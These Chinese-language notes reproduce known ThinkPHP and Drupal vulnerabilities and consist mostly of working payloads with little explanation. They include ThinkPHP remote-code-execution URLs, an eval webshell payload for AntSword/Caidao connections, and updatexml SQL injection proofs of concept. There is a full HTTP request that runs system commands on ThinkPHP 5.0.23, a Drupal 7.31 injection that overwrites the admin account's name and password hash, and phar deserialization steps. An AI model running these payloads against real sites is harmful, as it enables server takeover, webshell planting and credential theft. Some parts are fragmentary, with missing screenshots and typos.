ThinkPHP漏洞
ThinkPHP2.x远程代码执行漏洞
漏洞复现
使用payload 直接访问,即可执行phpinfo():
http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
利用该漏洞getshell,下面给出一个能够直接蚁剑(菜刀)连接的payload:
/index.php?s=a/b/c/${@print(eval($_POST[1]))}
ThinkPHP3.2.3 SQL注入漏洞
明显发现之前的user参数为:0然后被替换为了liao,这样就把:替换掉了。后面的:1明显是替换不掉的:
那么我们将id[1]数组的参数变为0呢?id[]=bind&id[]=0%27&money[]=1123&user=liao
果然造成了注入:POC:money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
ttp://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=0 and updatexml(2,concat(0x7e,user()),0)
ThinkPHP3和ThinkPHP5日志泄露
访问该文件,查看日志获取管理员的密码
ThinkPHP5.0.23远程代码执行漏洞
访问http:localhsot:8080可以看到php的默认页面
使用poc进行验证 用post请求提交如下信息
POST /index.php?s=captcha HTTP/1.1
Host: 10.10.10.157
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
可以看到发包服务器返回请求如下
写入phpinfo
先查看当前路径pwd
写入phpinfo
访问
ThinkPHP5.1.X SQL注入漏洞
最终Payload构造如下:
或
http://127.0.0.1/tp5.1/public/index/test/index?order[id`,'aaa')| updatexml(1,concat(0x3a,user()),1)%23][]=1
ThinkPHP6 SQL注入漏洞
sqlmap跑漏洞
Drupal漏洞
Drupal 远程代码执行漏洞
安装成功后如图所示:
如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置
访问 http://127.0.0.1:8088/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径, phar://./sites/default/files/pictures/2020-07/blog-ZDI-CAN-7232-cat.jpg,保存后将触发该漏洞。如下图所示,触发成功
看一下POC,
修改一下执行命令,比如ls -al,此时是6个字节数,要把s对应的字节数目改成6:
在Drupal的机制中,设定了这样一条规则:
用户上传的图片文件名将会被保留,如果出现文件名相同的情况,那么文件名后面就会被跟上_0,_1依次递增。
再次上传,在 Temporary directory 处输入新的上传的图片路径, phar://./sites/default/files/pictures/2020-07/blog-ZDI-CAN-7232-cat_0.jpg,触发成功。
将木马存放到你的服务器,之后通过命令来下载
Drupal 7.31 SQL注入漏洞
POST /drupal-7.31/?q=node&destination=node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/drupal-7.31/ Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
本地环境测试效果:
Drupal 访问权限绕过漏洞
安装Drupal 8.7.4版本,登录管理员账户,进入后台/admin/modules,勾选Workspaces模块并安装。
在页面上方出现如下页面则安装成功,管理员可以切换Stage模式或者Live模式。
另外开启一个浏览器访问首页(未登录任何账户),访问http://127.0.0.1/drupal-8.7.4/node/add/article,可直接添加文章,无需作者或管理员权限。